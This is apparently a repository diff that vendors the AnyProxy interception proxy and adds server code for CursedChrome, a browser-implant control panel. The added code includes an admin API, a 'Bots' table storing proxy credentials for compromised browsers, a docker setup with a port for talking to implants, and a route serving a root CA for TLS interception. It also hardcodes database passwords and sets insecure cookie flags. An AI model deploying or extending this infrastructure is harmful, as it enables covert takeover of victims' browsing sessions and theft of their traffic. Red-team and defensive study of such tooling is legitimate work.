"name": "ottomao@gmail.com"
},
"bin": {
"anyproxy-ca": "bin/anyproxy-ca",
"anyproxy": "bin/anyproxy"
},
"bugs": {
"url": "https://github.com/alibaba/anyproxy/issues"
},
"bundleDependencies": false,
"dependencies": {
"async": "~0.9.0",
"async-task-mgr": ">=1.1.0",
"body-parser": "^1.13.1",
"brotli": "^1.3.2",
"classnames": "^2.2.5",
"clipboard-js": "^0.3.3",
"co": "^4.6.0",
"colorful": "^2.1.0",
"commander": "~2.11.0",
"component-emitter": "^1.2.1",
"compression": "^1.4.4",
"es6-promise": "^3.3.1",
"express": "^4.8.5",
"fast-json-stringify": "^0.17.0",
"iconv-lite": "^0.4.6",
"inquirer": "^5.2.0",
"ip": "^0.3.2",
"juicer": "^0.6.6-stable",
"mime-types": "2.1.11",
"moment": "^2.15.1",
"nedb": "^1.8.0",
"node-easy-cert": "^1.0.0",
"pug": "^2.0.0-beta6",
"qrcode-npm": "0.0.3",
"request": "^2.74.0",
"stream-throttle": "^0.1.3",
"svg-inline-react": "^1.0.2",
"thunkify": "^2.1.2",
"whatwg-fetch": "^1.0.0",
"ws": "^5.1.0"
},
"deprecated": false,
"description": "A fully configurable HTTP/HTTPS proxy in Node.js",
"devDependencies": {
"antd": "^2.5.0",
"autoprefixer": "^6.4.1",
"babel-core": "^6.14.0",
"babel-eslint": "^7.0.0",
"babel-loader": "^6.2.5",
"babel-plugin-import": "^1.0.0",
"babel-plugin-transform-runtime": "^6.15.0",
"babel-polyfill": "^6.13.0",
"babel-preset-es2015": "^6.13.2",
"babel-preset-react": "^6.11.1",
"babel-preset-stage-0": "^6.5.0",
"babel-register": "^6.11.6",
"babel-runtime": "^6.11.6",
"css-loader": "^0.23.1",
"eslint": ">=4.18.2",
"eslint-config-airbnb": "^15.1.0",
"eslint-plugin-import": "^2.7.0",
"eslint-plugin-jsx-a11y": "^5.1.1",
"eslint-plugin-react": "^7.4.0",
"extract-text-webpack-plugin": "^3.0.2",
"file-loader": "^0.9.0",
"jasmine": "^2.5.3",
"koa": "^1.2.1",
"koa-body": "^1.4.0",
"koa-router": "^5.4.0",
"koa-send": "^3.2.0",
"less": "^2.7.1",
"less-loader": "^2.2.3",
"node-simhash": "^0.1.0",
"nodeunit": "^0.9.1",
"phantom": "^4.0.0",
"postcss-loader": "^0.13.0",
"pre-commit": "^1.2.2",
"react": "^15.3.1",
"react-addons-perf": "^15.4.0",
"react-dom": "^15.3.1",
"react-json-tree": "^0.10.0",
"react-redux": "^4.4.5",
"react-tap-event-plugin": "^1.0.0",
"redux": "^3.6.0",
"redux-saga": "^0.11.1",
"stream-equal": "0.1.8",
"style-loader": "^0.13.1",
"svg-inline-loader": "^0.7.1",
"tunnel": "^0.0.6",
"url-loader": "^0.5.7",
"webpack": "^3.10.0",
"worker-loader": "^0.7.1"
},
"engines": {
"node": ">=6.0.0"
},
"homepage": "https://github.com/alibaba/anyproxy#readme",
"license": "Apache-2.0",
"main": "proxy.js",
"name": "anyproxy",
"pre-commit": [
"lint"
],
"repository": {
"type": "git",
"url": "git+https://github.com/alibaba/anyproxy.git"
},
"scripts": {
"buildweb": "NODE_ENV=production webpack --config web/webpack.config.js --colors",
"doc:build": "./build_scripts/build-doc-site.sh",
"doc:serve": "node build_scripts/prebuild-doc.js && gitbook serve ./docs-src ./docs --log debug",
"lint": "eslint .",
"prepublish": "npm run buildweb",
"test": "node test.js",
"testOutWeb": "jasmine test/spec_outweb/test_realweb_spec.js",
"testserver": "node test/server/startServer.js",
"webserver": "NODE_ENV=test webpack --config web/webpack.config.js --colors --watch"
},
"version": "4.1.2"
}
+378
View File
@@ -0,0 +1,378 @@
'use strict';
const http = require('http'),
https = require('https'),
async = require('async'),
color = require('colorful'),
certMgr = require('./lib/certMgr'),
Recorder = require('./lib/recorder'),
logUtil = require('./lib/log'),
util = require('./lib/util'),
events = require('events'),
co = require('co'),
WebInterface = require('./lib/webInterface'),
wsServerMgr = require('./lib/wsServerMgr'),
ThrottleGroup = require('stream-throttle').ThrottleGroup;
// const memwatch = require('memwatch-next');
// setInterval(() => {
// console.log(process.memoryUsage());
// const rss = Math.ceil(process.memoryUsage().rss / 1000 / 1000);
// console.log('Program is using ' + rss + ' mb of Heap.');
// }, 1000);
// memwatch.on('stats', (info) => {
// console.log('gc !!');
// console.log(process.memoryUsage());
// const rss = Math.ceil(process.memoryUsage().rss / 1000 / 1000);
// console.log('GC !! Program is using ' + rss + ' mb of Heap.');
// // var heapUsed = Math.ceil(process.memoryUsage().heapUsed / 1000);
// // console.log("Program is using " + heapUsed + " kb of Heap.");
// // console.log(info);
// });
const T_TYPE_HTTP = 'http',
T_TYPE_HTTPS = 'https',
DEFAULT_TYPE = T_TYPE_HTTP;
const PROXY_STATUS_INIT = 'INIT';
const PROXY_STATUS_READY = 'READY';
const PROXY_STATUS_CLOSED = 'CLOSED';
/**
*
* @class ProxyCore
* @extends {events.EventEmitter}
*/
class ProxyCore extends events.EventEmitter {
/**
* Creates an instance of ProxyCore.
*
* @param {object} config - configs
* @param {number} config.port - port of the proxy server
* @param {object} [config.rule=null] - rule module to use
* @param {string} [config.type=http] - type of the proxy server, could be 'http' or 'https'
* @param {strign} [config.hostname=localhost] - host name of the proxy server, required when this is an https proxy
* @param {number} [config.throttle] - speed limit in kb/s
* @param {boolean} [config.forceProxyHttps=false] - if proxy all https requests
* @param {boolean} [config.silent=false] - if keep the console silent
* @param {boolean} [config.dangerouslyIgnoreUnauthorized=false] - if ignore unauthorized server response
* @param {object} [config.recorder] - recorder to use
* @param {boolean} [config.wsIntercept] - whether intercept websocket
*
* @memberOf ProxyCore
*/
constructor(config) {
super();
config = config || {};
this.status = PROXY_STATUS_INIT;
this.proxyPort = config.port;
this.proxyType = /https/i.test(config.type || DEFAULT_TYPE) ? T_TYPE_HTTPS : T_TYPE_HTTP;
this.proxyHostName = config.hostname || 'localhost';
this.recorder = config.recorder;
if (parseInt(process.versions.node.split('.')[0], 10) < 4) {
throw new Error('node.js >= v4.x is required for anyproxy');
} else if (config.forceProxyHttps && !certMgr.ifRootCAFileExists()) {
logUtil.printLog('You can run `anyproxy-ca` to generate one root CA and then re-run this command');
throw new Error('root CA not found. Please run `anyproxy-ca` to generate one first.');
} else if (this.proxyType === T_TYPE_HTTPS && !config.hostname) {
throw new Error('hostname is required in https proxy');
} else if (!this.proxyPort) {
throw new Error('proxy port is required');
} else if (!this.recorder) {
throw new Error('recorder is required');
} else if (config.forceProxyHttps && config.rule && config.rule.beforeDealHttpsRequest) {
logUtil.printLog('both "-i(--intercept)" and rule.beforeDealHttpsRequest are specified, the "-i" option will be ignored.', logUtil.T_WARN);
config.forceProxyHttps = false;
}
this.httpProxyServer = null;
this.requestHandler = null;
// copy the rule to keep the original proxyRule independent
this.proxyRule = config.rule || {};
if (config.silent) {
logUtil.setPrintStatus(false);
}
if (config.throttle) {
logUtil.printLog('throttle :' + config.throttle + 'kb/s');
const rate = parseInt(config.throttle, 10);
if (rate < 1) {
throw new Error('Invalid throttle rate value, should be positive integer');
}
global._throttle = new ThrottleGroup({ rate: 1024 * rate }); // rate - byte/sec
}
// init recorder
this.recorder = config.recorder;
// init request handler
const RequestHandler = util.freshRequire('./requestHandler');
this.requestHandler = new RequestHandler({
wsIntercept: config.wsIntercept,
httpServerPort: config.port, // the http server port for http proxy
forceProxyHttps: !!config.forceProxyHttps,
dangerouslyIgnoreUnauthorized: !!config.dangerouslyIgnoreUnauthorized
}, this.proxyRule, this.recorder);
}
/**
* manage all created socket
* for each new socket, we put them to a map;
* if the socket is closed itself, we remove it from the map
* when the `close` method is called, we'll close the sockes before the server closed
*
* @param {Socket} the http socket that is creating
* @returns undefined
* @memberOf ProxyCore
*/
handleExistConnections(socket) {
const self = this;
self.socketIndex++;
const key = `socketIndex_${self.socketIndex}`;
self.socketPool[key] = socket;
// if the socket is closed already, removed it from pool
socket.on('close', () => {
delete self.socketPool[key];
});
}
/**
* start the proxy server
*
* @returns ProxyCore
*
* @memberOf ProxyCore
*/
start() {
const self = this;
self.socketIndex = 0;
self.socketPool = {};
if (self.status !== PROXY_STATUS_INIT) {
throw new Error('server status is not PROXY_STATUS_INIT, can not run start()');
}
async.series(
[
//creat proxy server
function (callback) {
if (self.proxyType === T_TYPE_HTTPS) {
certMgr.getCertificate(self.proxyHostName, (err, keyContent, crtContent) => {
if (err) {
callback(err);
} else {
self.httpProxyServer = https.createServer({
key: keyContent,
cert: crtContent
}, self.requestHandler.userRequestHandler);
callback(null);
}
});
} else {
self.httpProxyServer = http.createServer(self.requestHandler.userRequestHandler);
callback(null);
}
},
//handle CONNECT request for https over http
function (callback) {
self.httpProxyServer.on('connect', self.requestHandler.connectReqHandler);
callback(null);
},
function (callback) {
wsServerMgr.getWsServer({
server: self.httpProxyServer,
connHandler: self.requestHandler.wsHandler
});
// remember all sockets, so we can destory them when call the method 'close';
self.httpProxyServer.on('connection', (socket) => {
self.handleExistConnections.call(self, socket);
});
callback(null);
},
//start proxy server
function (callback) {
self.httpProxyServer.listen(self.proxyPort);
callback(null);
},
],
//final callback
(err, result) => {
if (!err) {
const tipText = (self.proxyType === T_TYPE_HTTP ? 'Http' : 'Https') + ' proxy started on port ' + self.proxyPort;
logUtil.printLog(color.green(tipText));
if (self.webServerInstance) {
const webTip = 'web interface started on port ' + self.webServerInstance.webPort;
logUtil.printLog(color.green(webTip));
}
let ruleSummaryString = '';
const ruleSummary = this.proxyRule.summary;
if (ruleSummary) {
co(function *() {
if (typeof ruleSummary === 'string') {
ruleSummaryString = ruleSummary;
} else {
ruleSummaryString = yield ruleSummary();
}
logUtil.printLog(color.green(`Active rule is: ${ruleSummaryString}`));
});
}
self.status = PROXY_STATUS_READY;
self.emit('ready');
} else {
const tipText = 'err when start proxy server :(';
logUtil.printLog(color.red(tipText), logUtil.T_ERR);
logUtil.printLog(err, logUtil.T_ERR);
self.emit('error', {
error: err
});
}
}
);
return self;
}
/**
* close the proxy server
*
* @returns ProxyCore
*
* @memberOf ProxyCore
*/
close() {
// clear recorder cache
return new Promise((resolve) => {
if (this.httpProxyServer) {
// destroy conns & cltSockets when closing proxy server
for (const connItem of this.requestHandler.conns) {
const key = connItem[0];
const conn = connItem[1];
logUtil.printLog(`destorying https connection : ${key}`);
conn.end();
}
for (const cltSocketItem of this.requestHandler.cltSockets) {
const key = cltSocketItem[0];
const cltSocket = cltSocketItem[1];
logUtil.printLog(`closing https cltSocket : ${key}`);
cltSocket.end();
}
if (this.socketPool) {
for (const key in this.socketPool) {
this.socketPool[key].destroy();
}
}
this.httpProxyServer.close((error) => {
if (error) {
console.error(error);
logUtil.printLog(`proxy server close FAILED : ${error.message}`, logUtil.T_ERR);
} else {
this.httpProxyServer = null;
this.status = PROXY_STATUS_CLOSED;
logUtil.printLog(`proxy server closed at ${this.proxyHostName}:${this.proxyPort}`);
}
resolve(error);
});
} else {
resolve();
}
})
}
}
/**
* start proxy server as well as recorder and webInterface
*/
class ProxyServer extends ProxyCore {
/**
*
* @param {object} config - config
* @param {object} [config.webInterface] - config of the web interface
* @param {boolean} [config.webInterface.enable=false] - if web interface is enabled
* @param {number} [config.webInterface.webPort=8002] - http port of the web interface
*/
constructor(config) {
// prepare a recorder
const recorder = new Recorder();
const configForCore = Object.assign({
recorder,
}, config);
super(configForCore);
this.proxyWebinterfaceConfig = config.webInterface;
this.recorder = recorder;
this.webServerInstance = null;
}
start() {
if (this.recorder) {
this.recorder.setDbAutoCompact();
}
// start web interface if neeeded
if (this.proxyWebinterfaceConfig && this.proxyWebinterfaceConfig.enable) {
this.webServerInstance = new WebInterface(this.proxyWebinterfaceConfig, this.recorder);
// start web server
this.webServerInstance.start()
// start proxy core
.then(() => {
super.start();
})
.catch((e) => {
this.emit('error', e);
});
} else {
super.start();
}
}
close() {
const self = this;
// release recorder
if (self.recorder) {
self.recorder.stopDbAutoCompact();
self.recorder.clear();
}
self.recorder = null;
// close ProxyCore
return super.close()
// release webInterface
.then(() => {
if (self.webServerInstance) {
const tmpWebServer = self.webServerInstance;
self.webServerInstance = null;
logUtil.printLog('closing webInterface...');
return tmpWebServer.close();
}
});
}
}
module.exports.ProxyCore = ProxyCore;
module.exports.ProxyServer = ProxyServer;
module.exports.ProxyRecorder = Recorder;
module.exports.ProxyWebServer = WebInterface;
module.exports.utils = {
systemProxyMgr: require('./lib/systemProxyMgr'),
certMgr,
};
+81
View File
@@ -0,0 +1,81 @@
doctype html
html(lang="en")
head
title AnyProxy Inner Error
style.
body {
color: #666;
line-height: 1.5;
font-size: 13px;
font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Helvetica,PingFang SC,Hiragino Sans GB,Microsoft YaHei,SimSun,sans-serif;
}
body * {
box-sizing: border-box;
}
.stackError {
border-radius: 5px;
padding: 20px;
border: 1px solid #fdc;
background-color: #ffeee6;
color: #666;
}
.stackError li {
list-style-type: none;
}
.infoItem {
position: relative;
overflow: hidden;
border: 1px solid #d5f1fd;
background-color: #eaf8fe;
border-radius: 4px;
margin-bottom: 5px;
padding-left: 70px;
}
.infoItem .label {
position: absolute;
top: 0;
left: 0;
bottom: 0;
display: flex;
justify-content: flex-start;
align-items: center;
width: 70px;
font-weight: 300;
background-color: #76abc1;
color: #fff;
padding: 5px;
}
.infoItem .value {
overflow:hidden;
padding: 5px;
}
.tipItem .label {
background-color: #ecf6fd;
}
.tip {
color: #808080;
}
body
h1 # AnyProxy Inner Error
h3 Oops! Error happend when AnyProxy handle the request.
p.tip This is an error occurred inside AnyProxy, not from your target website.
.infoItem
.label
| Error:
.value #{error}
.infoItem
.label
| URL:
.value #{url}
if tipMessage
.infoItem
.label
| TIP:
.value!= tipMessage
p
ul.stackError
each item in errorStack
li= item
+91
View File
@@ -0,0 +1,91 @@
doctype html
html(lang="en")
head
title Download rootCA
meta(name='viewport', content='initial-scale=1, maximum-scale=0.5, minimum-scale=1, user-scalable=no')
style.
body {
color: #666;
line-height: 1.5;
font-size: 16px;
font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Helvetica,PingFang SC,Hiragino Sans GB,Microsoft YaHei,SimSun,sans-serif;
}
body * {
box-sizing: border-box;
}
.logo {
font-size: 36px;
margin-bottom: 40px;
text-align: center;
}
.any {
font-weight: 500;
}
.proxy {
font-weight: 100;
}
.title {
font-weight: bold;
margin: 20px 0 6px;
}
.button {
text-align: center;
padding: 4px 15px 5px 15px;
font-size: 14px;
font-weight: 500;
border-radius: 4px;
height: 32px;
margin-bottom: 10px;
display: block;
text-decoration: none;
border-color: #108ee9;
color: rgba(0, 0, 0, .65);
background-color: #fff;
border-style: solid;
border-width: 1px;
border-style: solid;
border-color: #d9d9d9;
}
.primary {
color: #fff;
background-color: #108ee9;
border-color: #108ee9;
}
.more {
text-align: center;
font-size: 14px;
}
.content {
word-break: break-all;
font-size: 14px;
line-height: 1.2;
margin-bottom: 10px;
}
body
.logo
span.any Any
span.proxy Proxy
.title Download:
.content Select a CA file to download, the .crt file is commonly used.
a(href="/fetchCrtFile?type=crt").button.primary rootCA.crt
a(href="/fetchCrtFile?type=cer").button rootCA.cer
.more More
.buttons(style='display: none')
a(href="/fetchCrtFile?type=pem").button rootCA.pem
a(href="/fetchCrtFile?type=der").button rootCA.der
.title User-Agent:
.content #{ua}
script(type='text/javascript').
window.document.querySelector('.more').addEventListener('click', function (e) {
e.target.style.display = 'none';
window.document.querySelector('.buttons').style.display = 'block';
});
+46
View File
@@ -0,0 +1,46 @@
doctype html
html(lang="en")
head
title Security Vulnerable
style.
body {
color: #666;
line-height: 1.5;
font-size: 13px;
font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Helvetica,PingFang SC,Hiragino Sans GB,Microsoft YaHei,SimSun,sans-serif;
}
body * {
box-sizing: border-box;
}
.container {
max-width: 1200px;
padding: 20px;
padding-top: 150px;
margin: 0 auto;
}
.title {
font-size: 20px;
margin-bottom: 20px;
}
.explain {
font-size: 14px;
font-weight: 200;
color: #666;
}
.explainCode {
color: #999;
margin-bottom: 10px;
}
body
.container
div.title
| #{title}
div.explainCode
| #{code}
div.explain
div!= explain
+16
View File
@@ -0,0 +1,16 @@
const Jasmine = require('jasmine');
const jasmine = new Jasmine();
const util = require('./lib/util');
const path = require('path');
const testTmpPath = path.join(__dirname, './test/temp');
const configFilePath = path.join(__dirname, './test/jasmine.json');
// rm - rf./test / temp /
util.deleteFolderContentsRecursive(testTmpPath);
jasmine.loadConfigFile(configFilePath);
jasmine.configureDefaultReporter({
showColors: false
});
jasmine.execute();
+357
View File
@@ -0,0 +1,357 @@
const copy = require('./utils.js').copy;
const express = require('express');
const bcrypt = require('bcrypt');
const uuid = require('uuid');
const bodyParser = require('body-parser');
const sessions = require('client-sessions');
const database = require('./database.js');
const Users = database.Users;
const Bots = database.Bots;
const Settings = database.Settings;
const sequelize = database.sequelize;
const Sequelize = require('sequelize');
const Op = Sequelize.Op;
const get_hashed_password = require('./utils.js').get_hashed_password;
/*
API Server
You can authenticate to the API using the browser_account_access_key.
Later on I'll add an official API key system.
*/
const validate = require('express-jsonschema').validate;
const API_BASE_PATH = '/api/v1';
function getMethods(obj) {
var result = [];
for (var id in obj) {
try {
if (typeof(obj[id]) == "function") {
result.push(id + ": " + obj[id].toString());
}
} catch (err) {
result.push(id + ": inaccessible");
}
}
return result;
};
async function get_api_server() {
const app = express();
app.use(bodyParser.json());
const session_secret_key = 'SESSION_SECRET';
// Check for existing session secret value
const session_secret_setting = await Settings.findOne({
where: {
key: session_secret_key
}
});
if (!session_secret_setting) {
console.error(`No session secret is set, can't start API server!`);
throw new Error('NO_SESSION_SECRET_SET');
return
}
/*
Add default security headers
*/
app.use(async function(req, res, next) {
set_secure_headers(req, res);
next();
});
app.use(sessions({
cookieName: 'session',
secret: session_secret_setting.value,
duration: 7 * 24 * 60 * 60 * 1000, // Default session time is a week
activeDuration: 1000 * 60 * 5, // Extend for five minutes if actively used
cookie: {
ephemeral: true,
httpOnly: true,
secure: false
}
}));
/*
Serve static files from compiled front-end
*/
app.use('/', express.static('/work/gui/dist/'));
app.use(async function(req, res, next) {
const ENDPOINTS_NOT_REQUIRING_AUTH = [
'/health',
`${API_BASE_PATH}/login`
];
if (ENDPOINTS_NOT_REQUIRING_AUTH.includes(req.originalUrl)) {
next();
return
}
const auth_needed_response = {
"success": false,
"error": "Authentication required, please log in.",
"code": "NOT_AUTHENTICATED"
};
// Check the auth to make sure a valid session exists
if (!req.session.user_id) {
res.status(200).json(auth_needed_response).end();
return
}
const user = await Users.findOne({
where: {
id: req.session.user_id
}
});
if (!user) {
res.status(200).json(auth_needed_response).end();
return
}
// Set user information from database record
req.user = {
id: user.id,
username: user.username,
password_should_be_changed: user.password_should_be_changed
};
next();
});
/*
Update a given bot's properties
*/
const UpdateBotSchema = {
type: 'object',
properties: {
bot_id: {
type: 'string',
required: true,
pattern: '[0-9a-f]{8}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{4}\-[0-9a-f]{12}'
},
name: {
type: 'string',
required: true
},
}
}
app.put(API_BASE_PATH + '/bots', validate({ body: UpdateBotSchema }), async (req, res) => {
const bot = await Bots.findOne({
where: {
id: req.body.bot_id
}
});
await bot.update({
'name': req.body.name
});
res.status(200).json({
"success": true,
"result": {}
}).end();
});
/*
Get list of bots
*/
app.get(API_BASE_PATH + '/bots', async (req, res) => {
const bots = await Bots.findAll({
attributes: [
'id',
'is_online',
'name',
'proxy_password',
'proxy_username',
'user_agent',
'updatedAt',
'createdAt',
]
});
res.status(200).json({
"success": true,
"result": {
'bots': bots
}
}).end();
});
/*
Log in to a given user account
*/
const LoginSchema = {
type: 'object',
properties: {
username: {
type: 'string',
required: true
},
password: {
type: 'string',
required: true
},
}
}
app.post(API_BASE_PATH + '/login', validate({ body: LoginSchema }), async (req, res) => {
const user = await Users.findOne({
where: {
username: req.body.username
}
});
// Compare password with hash from database
const password_matches = await bcrypt.compare(
req.body.password,
user.password,
);
if (!password_matches) {
res.status(200).json({
"success": false,
"error": "User not found with those credentials, please try again.",
"code": "INVALID_CREDENTIALS"
}).end();
return
}
// Set session data
req.session.user_id = user.id;
res.status(200).json({
"success": true,
"result": {
"username": user.username,
"password_should_be_changed": user.password_should_be_changed,
}
}).end();
});
/*
* Log out the user
*/
app.get(API_BASE_PATH + '/logout', async (req, res) => {
// Set user_id to null to log the user out
// This overwrites the previous cookie
req.session.user_id = null;
res.status(200).json({
"success": true,
"result": {}
}).end();
});
/*
Update user's password
*/
const UpdateUserPasswordSchema = {
type: 'object',
properties: {
new_password: {
type: 'string',
required: true
},
}
}
app.put(API_BASE_PATH + '/password', validate({ body: UpdateUserPasswordSchema }), async (req, res) => {
const user = await Users.findOne({
where: {
id: req.session.user_id
}
});
const new_hashed_password = await get_hashed_password(
req.body.new_password
);
await user.update({
'password': new_hashed_password,
'password_should_be_changed': false,
});
res.status(200).json({
"success": true,
"result": {}
}).end();
});
/*
* Get log in status
*/
app.get(API_BASE_PATH + '/me', async (req, res) => {
res.status(200).json({
"success": true,
"result": {
username: req.user.username,
password_should_be_changed: req.user.password_should_be_changed
}
}).end();
});
/*
* Basic health check endpoint
*/
app.get('/health', async (req, res) => {
res.status(200).json({
"success": true
}).end();
});
/*
* Serve up the CA cert for download
*/
app.get(API_BASE_PATH + '/download_ca', async (req, res) => {
res.download(
`${__dirname}/ssl/rootCA.crt`,
'CursedChromeCA.crt'
);
});
/*
* Handle JSON Schema errors
*/
app.use(function(err, req, res, next) {
var responseData;
if (err.name === 'JsonSchemaValidation') {
console.error(`JSONSchema validation error:`);
console.error(err.message);
res.status(400);
responseData = {
statusText: 'Bad Request',
jsonSchemaValidation: true,
validations: err.validations
};
if (req.xhr || req.get('Content-Type') === 'application/json') {
res.json(responseData);
} else {
res.render('badrequestTemplate', responseData);
}
} else {
next(err);
}
});
return app;
}
function set_secure_headers(req, res) {
if (req.path.startsWith(API_BASE_PATH)) {
res.set("Content-Security-Policy", "default-src 'none'; script-src 'none'");
res.set("Content-Type", "application/json");
}
res.set("x-xss-protection", "mode=block");
res.set("x-content-type-options", "nosniff");
res.set("x-frame-options", "deny");
}
module.exports = {
get_api_server: get_api_server
};
+297
View File
@@ -0,0 +1,297 @@
const Sequelize = require('sequelize');
const uuid = require('uuid');
const get_secure_random_string = require('./utils.js').get_secure_random_string;
const get_hashed_password = require('./utils.js').get_hashed_password;
var sequelize = new Sequelize(
process.env.DATABASE_NAME,
process.env.DATABASE_USER,
process.env.DATABASE_PASSWORD,
{
host: process.env.DATABASE_HOST,
dialect: 'postgres',
benchmark: true,
logging: false
},
);
const Model = Sequelize.Model;
/*
User accounts in the web panel
*/
class Users extends Model {}
Users.init({
id: {
allowNull: false,
primaryKey: true,
type: Sequelize.UUID,
defaultValue: uuid.v4()
},
// Whether or not the email address has been verified.
// Username
username: {
type: Sequelize.TEXT,
allowNull: true,
unique: true
},
// Bcrypt
password: {
type: Sequelize.TEXT,
allowNull: true,
},
// Whether the password should be changed
// by the user when they log in.
password_should_be_changed: {
type: Sequelize.BOOLEAN,
allowNull: false,
default: false,
}
}, {
sequelize,
modelName: 'users',
indexes: [
{
unique: true,
fields: ['username'],
method: 'BTREE',
}
]
});
class Bots extends Model {}
Bots.init({
id: {
allowNull: false,
primaryKey: true,
type: Sequelize.UUID,
defaultValue: uuid.v4()
},
// The unique ID for the specific browser
browser_id: {
type: Sequelize.TEXT,
allowNull: false,
unique: false
},
// Name of the browser proxy
name: {
type: Sequelize.TEXT,
allowNull: false,
unique: false,
default: 'Untitled Proxy'
},
// The username to access the browser
// HTTP proxy.
proxy_username: {
type: Sequelize.TEXT,
allowNull: false,
unique: true
},
// The password to access the browser
// HTTP proxy.
proxy_password: {
type: Sequelize.TEXT,
allowNull: false,
},
// Whether the proxy is currently online
is_online: {
type: Sequelize.BOOLEAN,
allowNull: false,
defaultValue: true
},
// Bot user agent
user_agent: {
type: Sequelize.TEXT,
allowNull: true,
unique: false,
default: 'Unknown'
},
}, {
sequelize,
modelName: 'bots',
indexes: [
{
unique: false,
fields: ['browser_id'],
method: 'BTREE',
},
{
unique: true,
fields: ['proxy_username'],
method: 'BTREE',
},
{
unique: false,
fields: ['proxy_password'],
method: 'BTREE',
}
]
});
/*
Various key/values for settings
*/
class Settings extends Model {}
Settings.init({
id: {
allowNull: false,
primaryKey: true,
type: Sequelize.UUID,
defaultValue: uuid.v4()
},
// Setting name
key: {
type: Sequelize.TEXT,
allowNull: true,
unique: true
},
// Setting value
value: {
type: Sequelize.TEXT,
allowNull: true,
},
}, {
sequelize,
modelName: 'settings',
indexes: [
{
unique: true,
fields: ['key'],
method: 'BTREE',
}
]
});
async function create_new_user(username, password) {
const bcrypt_hash = await get_hashed_password(password);
const new_user = await Users.create({
id: uuid.v4(),
username: username,
password: bcrypt_hash,
password_should_be_changed: true,
});
return new_user;
}
function get_default_user_created_banner(username, password) {
return `
============================================================================
█████╗ ████████╗████████╗███████╗███╗ ██╗████████╗██╗ ██████╗ ███╗ ██╗
██╔══██╗╚══██╔══╝╚══██╔══╝██╔════╝████╗ ██║╚══██╔══╝██║██╔═══██╗████╗ ██║
███████║ ██║ ██║ █████╗ ██╔██╗ ██║ ██║ ██║██║ ██║██╔██╗ ██║
██╔══██║ ██║ ██║ ██╔══╝ ██║╚██╗██║ ██║ ██║██║ ██║██║╚██╗██║
██║ ██║ ██║ ██║ ███████╗██║ ╚████║ ██║ ██║╚██████╔╝██║ ╚████║
╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
An admin user (for the admin control panel) has been created
with the following credentials:
USERNAME: ${username}
PASSWORD: ${password}
Upon logging in to the admin control panel with these
credentials you will be prompted to change your password.
Please do so at your earliest convenience as this message
is potentially being logged by Docker.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
█████╗ ████████╗████████╗███████╗███╗ ██╗████████╗██╗ ██████╗ ███╗ ██╗
██╔══██╗╚══██╔══╝╚══██╔══╝██╔════╝████╗ ██║╚══██╔══╝██║██╔═══██╗████╗ ██║
███████║ ██║ ██║ █████╗ ██╔██╗ ██║ ██║ ██║██║ ██║██╔██╗ ██║
██╔══██║ ██║ ██║ ██╔══╝ ██║╚██╗██║ ██║ ██║██║ ██║██║╚██╗██║
██║ ██║ ██║ ██║ ███████╗██║ ╚████║ ██║ ██║╚██████╔╝██║ ╚████║
╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
============================================================================
`;
}
async function initialize_users() {
// Check if there is at least one User account
// that exists in the database. If not, create
// one and write the auth information to the
// filesystem for the admin to get.
const existing_users = await Users.findAll();
// If there are already users we can stop here.
if(existing_users.length > 0) {
return
}
// Since there's no users, we need to create one.
// Otherwise there's nothing to log in with.
// Generate cryptographically-secure random
// password for the default user we're adding.
const new_username = "admin";
const new_password = get_secure_random_string(32);
// Create user and add to database
const new_user = await create_new_user(
new_username,
new_password
);
// Now we need to write these credentials to the
// filesystem in a file so the user can retrieve
// them.
const banner_message = get_default_user_created_banner(
new_username,
new_password
);
console.log(banner_message);
}
async function initialize_configs() {
const session_secret_key = 'SESSION_SECRET';
// Check for existing session secret value
const session_secret_setting = await Settings.findOne({
where: {
key: session_secret_key
}
});
// If it exists, there's nothing else to do here.
if(session_secret_setting) {
return
}
console.log(`No session secret set, generating one now...`);
// Since it doesn't exist, generate one.
await Settings.create({
id: uuid.v4(),
key: session_secret_key,
value: get_secure_random_string(64)
});
console.log(`Session secret generated successfully!`);
}
async function database_init() {
const force = false;
await Users.sync({ force: force });
await Bots.sync({ force: force });
await Settings.sync({ force: force });
// Set up configs if they're not already set up.
await initialize_configs();
// Set up admin panel user if not already set up.
await initialize_users();
}
module.exports.sequelize = sequelize;
module.exports.Users = Users;
module.exports.Bots = Bots;
module.exports.Settings = Settings;
module.exports.database_init = database_init;
+32
View File
@@ -0,0 +1,32 @@
version: '3.2'
services:
redis:
image: "redis:alpine"
command: redis-server --appendonly no
db:
image: postgres
restart: always
environment:
POSTGRES_PASSWORD: cursedchrome
POSTGRES_USER: cursedchrome
POSTGRES_DB: cursedchrome
cursedchrome:
build: .
volumes:
- ./ssl:/work/cassl
depends_on:
- db
- redis
environment:
DATABASE_NAME: cursedchrome
DATABASE_USER: cursedchrome
DATABASE_PASSWORD: cursedchrome
DATABASE_HOST: db
REDIS_HOST: redis
# Number of bcrypt rounds for
# storing admin panel passwords.
BCRYPT_ROUNDS: 10
ports:
- "127.0.0.1:8080:8080" # Proxy server
- "127.0.0.1:4343:4343" # WebSocket server (talks with implants)
- "127.0.0.1:8118:8118" # Web panel
+3
View File
@@ -0,0 +1,3 @@
#!/bin/bash
cp /work/ssl/* /work/cassl/
nodemon node /work/server.js
+66
View File
@@ -0,0 +1,66 @@
{
"l10nTabName": {
"message":"Localization"
,"description":"name of the localization tab"
}
,"l10nHeader": {
"message":"It does localization too! (this whole tab is, actually)"
,"description":"Header text for the localization section"
}
,"l10nIntro": {
"message":"'L10n' refers to 'Localization' - 'L' an 'n' are obvious, and 10 comes from the number of letters between those two. It is the process/whatever of displaying something in the language of choice. It uses 'I18n', 'Internationalization', which refers to the tools / framework supporting L10n. I.e., something is internationalized if it has I18n support, and can be localized. Something is localized for you if it is in your language / dialect."
